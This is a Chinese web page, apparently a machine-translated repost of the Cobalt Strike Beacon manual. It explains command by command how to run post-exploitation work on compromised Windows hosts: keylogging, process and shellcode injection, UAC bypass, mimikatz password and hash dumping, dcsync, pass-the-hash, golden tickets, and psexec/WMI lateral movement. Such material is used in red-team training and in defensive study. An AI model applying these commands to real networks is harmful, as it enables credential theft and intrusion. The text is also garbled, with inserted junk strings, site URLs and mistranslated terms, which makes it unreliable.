beacon怎么用

Beacon是Cobalt Strike的有效载荷来模拟高级攻击者。使用Beacon通过HTTP,HTTPS或DNS退出网络。您还可以通过在Windows命名管道上控制对等Beacons来限制哪些主机通过网络出口。

Beacon是灵活的,并支持异步和交互式通信。异步通信低速和慢速。灯塔将电话回家,下载其任务,并进入睡眠。交互式通信实时发生。

Beacon的网络指示器是可。重新定义灯塔与Cobalt Strike的可延展C2语言的沟通。这允许您掩盖Beacon活动,看起来像其他恶意软件或混合作为合法流量。

beacon控制台

右键单击Beacon会话,然后选择交互以打开该Beacon的控制台。控制台是Beacon会话的主要用户界面。信标控制台允许您查看发送到信标的任务以及查看何时下载它们。信标控制台也是命令输出和其他信息出现的地方。

beacon怎么用

beacon控制台

在Beacon控制台的输入和输出之间是一个状态栏。此状态栏包含有关当前会话的信息。在其默认配置中,状态栏显示目标的NetBIOS名称,当前会话的用户名和PID,以及Beacon的上次登入时间。

发送到信标的每个命令,无论通过GUI还是控制台,都将显示在此窗口中。如果一个队友发出命令,Cobalt Strike将使用他们的句柄预先修复命令。

你可能会花大部分时间在Cobalt Strike在Beacon控制台。值得你花时间熟悉它的命令。在信标控制台中键入帮助以查看可用的命令。键入帮助,后跟命令名称以获取详细帮助。

beacon菜单

右键单击信标或在信标的控制台内部访问信标菜单。这是用于打开Beacon控制台的菜单。“访问”菜单包含操作信任素材和提升访问权限的选项。“浏览”菜单包含用于提取信息和与目标系统交互的选项。“透视”菜单可用于设置工具以通过信标来隧道传输流量。会话菜单是您管理当前Beacon会话的地方。

beacon怎么用

信标菜单

一些CoNcNiXbalt Strike的可视化(枢轴图和会话表)让您一次选择多个信标。通过此菜单发生的大多数操作将应用于所有选择的灯塔会话。

异步和交互操作

请注意,Beacon是异步有效载荷。命令不立即执行。每个命令进入队列。当信标签入(连接到你)时,它将下载这些命令并逐个执行它们。此时,Beacon还将报告它为您提供的任何输出。如果发生错误,请使用clear命令清除当前Beacon的命令队列。

默认情况下,Beacons每六十秒检查一次。您可以使用Beacons sleep命令更改此设置。使用睡眠,然后是几秒钟的时间,以指定Beacon应检查的频率。您还可以指定0到99之间的第二个数字。此数字是抖动因子。信标将根据您指定为抖动因子的随机百分比来更改其每个检入时间。例如, 睡眠300 20将强制Beacon以20%的抖动百分比睡眠300秒。这意味着,每次登记之后,Beacon将在240秒到300秒之间休眠一个随机值。

要每秒多次进行信标检查,请尝试睡眠0这是交互模式。在这种模式下,命令将立即执行。在隧道传输流量之前,您必须使Beacon交互。几个Beacon命令(例如,浏览器浏览器,桌面等)将在下次检入时将Beacon自动置于交互模式。

运行命令

Beacon的shell命令将任务Beacon通过被攻击主机上的cmd.exe执行命令。命令完成后,Beacon将向您显示输出。使用execute命令执行不带cmd.exe的命令,并且不向您发布输出。

使用powershell命令在受感染主机上使用PowerShell执行命令。使用powerpick命令在没有powershell.exe的情况下执行PowerShell cmdlet。此命令依赖于由Lee Christensen开发的非托管PowerShell技术。powershell命令将使用您当前的原由网令牌。powerpick命令不会继承您当前的令牌。psinject命令将将非托管PowerShell注入特定进程,并从该位置运行您的cmdlet。

powershell-import命令将导入一个PowerShell脚本到Beacon。将来对powershell,powerpick和psinject命令的使用将有来自导入的脚本的cmdlet可供他们使用。Beacon一次只能保存一个PowerShell脚本。

如果希望Beacon从特定目录执行命令,请使用Beacon控制台中的cd命令切换Beacon进程的工作目录。pwd命令将告诉您当前工作的目录。

日志击键

Beacon的键盘记录器注入到您选择的过程中,并向您报告按键操作。使用keylogger pid注入x86进程。使用keylogger pid x64注入x64进程。explorer.exe通常是一个很好的候选人。

当Beacon签入时,您将收到击键。如果您使用混合HTTP和DNS信标,请使用签入强制Beacon连接到您并提供捕获的击键。

注意多个按键记录器可能与彼此冲突。每个桌面会话只使用一个击键记录器。

管理后剥削工作

Beacon将每个shell,powershell和按键记录器实例视为一个作业。这些作业在后台运行,并在可用时报告其输出。使用jobs命令查看Beacon中正在运行的作业。使用jobkill杀死作业。

请求会话

使用spawn命令生成侦听器的会话。spawn命令接受一个体系结构(例如x86,x64)和一个监听器作为其参数。

默认情况下,spawn命令将在rundll32.exe中生成一个会话。警报管理员可能会发现rundll32.exe正在定期连接到互联网很奇怪。找到一个更好的程序(例如,Internet Explorer),并使用spawnto命令来声明Beacon应该生成会话到哪个程序。

spawnto命令要求您根据需要指定要生成的程序的体系结构和完整路径。键入spawnto自己,然后按Enter键指示Beacon返回其默认行为。

键入inject,然后是进程标识和侦听器名称,以将会话注入特定进程。使用ps获取当前系统上的进程列表。使用inject [pid] x64将64位Beacon插入x64进程。

inject和spawn命令都将所需侦听器的stager注入内存。此stager尝试连接回您以将请求的有效内容分级到内存中。如果stager不能超过任何出口限制或块,就不会得到一个会话。

上传和下载文件

下载命令将下载所请求的文件。您不需要为文件名引用引号,其中包含空格。Beacon适用于低速和慢速数据传输。在每次登记时,Beacon将下载其任务要获取的每个文件的固定块。该块的大小取决于Beacon的当前数据通道。HTTP和HTTPS通道以512KB的块提取数据。

键入下载以查看当前Beacon的正在进行的文件下载列表。使用cancel命令,后跟一个文件名,取消正在进行的下载。您可以使用通配符与cancel命令同时取消多个文件下载。

去Cobalt Strike中的查看- > 下载,查看您的团队已经下载的文件。只有完成的下载内容会显示在此标签中。下载的文件存储在组服务器上。要将文件带回系统,请在此处高亮显示,然后按同步文件然后Cobalt Strike会将选定的文件下载到您选择的系统上的文件夹中。

upload命令将文件上传到主机。

上传文件时,有时需要更新其时间戳,以使其与同一文件夹中的其他文件混合。使用timestomp命令来执行此操作。timestomp命令将一个文件的修改,访问和创建时间与另一个文件匹配。

SOCKS代理

使用袜子8080在端口8080(或您选择的任何其他端口)上设置SOCKS4a代理服务器。这将设置一个SOCKS代理服务器以通过Bea//www.58yuanyou.comcon对流量进行隧道传输。Beacon的睡眠时间为您通过它传播的任何流量增加了延迟。使用睡眠0使Beacon每秒检查几次。

Beacon的HTTP数据通道对于枢转目的是最灵敏的。如果您要通过DNS枢转流量,请使用DNS TXTrecord通信模式。

您可以使用代理链通过Beacon对外部工具进行隧道。

使用socks停止以禁用SOCKS代理服务器。

反向枢轴

使用rportfwd命令通过Beacon设置反向枢轴。rportfwd命令将绑定受攻击目标上的端口。与此端口的任何连接将使您的Cobalt Strike服务器启动到另一个主机和端口的连接,并在这两个连接之间中继流量。钴罢工隧道通过灯塔这种交通。rportfwd的语法为: rportfwd [bind port] [forward host] [forward port]

使用rportfwd stop [bind port]禁用反向端口转发。

特权升级

某些开发后命令需要系统管理员级别的权限。Beacon包括几个选项,以帮助您提高访问。Beacon的许多升级选项接受一个监听器作为参数。这是使用SMB信标的理想情况。SMB信标使用命名管道发送其输出并通过另一个信标获取其任务。SMB Beacon与特权升级攻击配合使用可以帮助您解决如何让您升级到出口。

提升与利用

键入提升以列出在Cobalt Strike中注册的权限升级攻击。运行elevate [exploit name] [listener]尝试利用特定漏洞升级。

要启动您的权限升级漏洞集合,请下载。Elevate Kit是一个Aggressor脚本,它将几个开源特权升级漏洞集成到Cobalt Strike中。

使用已知凭据升级

使用runas [DOMAIN \ user] [password] [command]作为另一个用户使用其凭据运行命令。runas命令不会返回任何输出。您可以使用非特权上下文中的runas。

使用spawnas [DOMAIN \ user] [password] [listener]作为另一个用户使用其凭据生成会话。此命令使用PowerShell在内存中引导有效内容。

获取系统

使用getsystem为SYSTEM帐户模拟令牌。此级别的访问可能允许您执行作为管理员用户不可能执行的特权操作。

UAC旁路

Microsoft在Windows Vista中引入了用户帐户控制(UAC),并在Windows 7中进行了细化.UAC在UNIX中的工作方式与sudo非常类似。日常用户使用正常权限工作。当用户需要执行特权操作时,系统会询问是否要提升其权限。

使用bypassuac [listener]在具有提升的权限的进程中生成会话。此权限提升技术利用了Windows 7及更高版本上的UAC默认设置中的漏洞。如果当前用户不在管理员组中,或者如果UAC设置为其最高设置,则此命令将不起作用。要检查当前用户是否在Administrators组中,请使用shell whoami / groups

Beacon的UAC旁路将把一个DLL文件放到磁盘上,并在完成后删除DLL。Beacon使用Cobalt Strike的Artifact Kit来生成防病毒安全DLL。

Mimikatz

Beacon集成了mimikatz。使用mimikatz命令将任何命令传递到mimikatz的命令分派器。例如, mimikatz standard ::咖啡会给你一杯咖啡。Beacon将注意匹配目标本机架构的mimikatz实例。

一些mimikatz命令必须作为SYSTEM运行。前缀一个命令与强制mimikatz升级到SYSTEM之前,它运行您的命令。例如,mimikatz !lsa :: cache将恢复系统缓存的密码哈希值。

一段时间后,您可能需要运行带有Beacon当前访问令牌的mimikatz命令。使用@前缀命令以强制mimikatz模拟Beacon的当前访问令牌。例如, mimikatz @lsadump :: dcsync将在Beacon的当前访问令牌中运行mimikatz中的dcsync命令。

证书和哈希收获

要转储哈希,请转到[beacon] - >访问 - >转储哈希您还可以使用Beacon控制台中的hashdump命令。这些命令将产生一个注入到LSASS中的作业,并为当前系统上的本地用户转储密码散列。

logonpasswords命令将使用mimikatz为登录到当前系统的用户恢复明文密码和散列。logonpasswords命令与[beacon] - > Access - > Run Mimikatz相同

使用dcsync [DOMAIN.FQDN] [DOMAIN \ user]从域控制器为用户提取密码哈希值。此技术使用Windows API,用于在域控制器之间同步信息。它需要域管理员信任关系。Beacon使用mimikatz来执行这个技术。

使用这些命令转储的凭证由Cobalt Strike收集并存储在凭据数据模型中。转到视图 - >凭据以提取当前团队服务器上的凭据。

端口扫描器

Beacon有一个内置的端口扫描器。使用portscan [targets] [ports] [发现方法]启动端口扫描程序作业。您可以指定逗号分隔的目标范围列表。对于港口也是如此。例如,portscan 172.16.48.0/24 1-1024,8080将在端口1至1024和8080上扫描主机172.16.48.0至172.16.48.255。

有三个目标发现选项。arp方法使用ARP请求来发现主机是否存活。icmp方法发送ICMP回显请求以检查目标是否存活。none选项告诉portscan工具假定所有主机都处于活动状态。

端口扫描器将在信标检查之间运行。当它有报告的结果,它将它们发送到信标控制台。Cobalt Strike将处理此信息并使用发现的主机更新目标模型。

网络和主机枚举

Beacon的网络模块提供了在Windows活动目录网络中查询和发现目标的工具。使用net dclist命令查找目标加入的域的域控制器。使用net view命令查找目标加入的域上的目标。这两个命令也填充目标模型。net computers命令通过查询域控制器上的计算机帐户组来查找目标。

Beacon的网络模块包含构建在Windows网络枚举API之上的命令。这些命令是Windows中许多内置net命令的直接替换。这里也有一些独特的能力。例如,使用net localgroup \\ TARGET来列出另一个系统上的组。使用net localgroup \\ TARGET组名来列出另一个系统上组的成员。这些命令是伟大的横向移动时,你必须找到谁是另一个系统上的本地管理员。

使用help net获取Beacon的网络模块中的所有命令的列表。使用help net命令获取每个单独命令的帮助。

信任关系

当用户登录到Windows主机时,会生成访问令牌。此令牌包含有关用户及其权限的信息。访问令牌还保存将用户认证到同一Active Directory域上的另一个系统所需的信息。你可以从另一个进程窃取一个令牌并将其应用到你的Beacon。执行此操作时,您可以与该用户的域上的其他系统进行交互。

使用steal_token [process id]来模拟现有进程的令牌。如果你想看看哪些进程正在运行使用ps。getuid命令将打印您当前的令牌。使用rev2self还原为原始令牌。

如果您知道用户的凭据;请使用make_token [DOMAIN \ user] [password]生成传递这些凭据的令牌。此令牌是具有修改的单点登录信息的当前令牌的副本。它将显示您当前的用户名。这是预期的行为。

使用mimikatz传递与信标的散列。Beacon命令mimikatz sekurlsa :: pth / user:[user] / domain:[DOMAIN] / ntlm:[hash] / run:“powershell -w hidden”将创建一个具有令牌设置的进程以使用单点登录您提供的信息。使用steal_token从这个新进程获取令牌,您将继承其单点登录信息。

Kerberos门票

使用kerberos_ticket_use [/ path / to / ticket]将Kerberos票证插入到当前会话中。这将允许Beacon使用此故障单中的权限与远程系统进行交互。尝试这个与由mimikatz 2.0生成的黄金票。

使用kerberos_ticket_purge清除与会话相关联的所有kerberos票证。

横向运动

一旦您有域管理员的令牌或目标上的本地管理员的域用户,您可以滥用此信任关系以获得对目标的控制。Cobalt Strike的Beacon有几个内置的横向运动选项。

使用Beacon的psexec [target] [share] [listener]在远程主机上执行有效负载。此命令原由网将为您的侦听器生成Windows Service可执行文件,将其复制到您指定的共享,创建服务,启动服务以及自行清除。默认共享包括ADMIN $和C $。

使用psexec_psh [target] [listener]在远程主机上使用PowerShell执行有效负载。此命令将创建一个服务来运行PowerShell一线程,启动它,并清理自己。如果你不想触摸磁盘,这种横向移动的方法是有用的。

Beacon的winrm [target] [listener]命令将使用WinRM在远程主机上执行有效负载。此选项要求在目标系统上启用WinRM。它默认关闭。此选项使用PowerShell在目标上引导您的有效负载。

最后,使用wmi [target] [listener]通过Windows Management Instrumentation传递有效负载。此命令使用PowerShell在目标上引导您的有效负载。

其他命令

Beacon有一些其他命令没有覆盖上面。

clear命令将清除Beacon的任务列表。如果你犯了一个错误,使用这个。

使用dllinject [pid]将反射DLL注入进程。

键入exit以要求Beacon退出。

使用kill [pid]终止进程。

使用mkdir创建一个文件夹。使用rm删除文件或文件夹。

使用shinject [pid] [arch]将shellcode注入进程。

使用timestomp将一个文件的修改,访问和创建时间与另一个文件的修NcNiX改,访问和创建时间相匹配。

内容版权声明:除非注明原创否则皆为转载,再次转载请注明出处。

文章标题: beacon怎么用

文章地址: www.58yuanyou.com/jiqiao/123185.html

相关推荐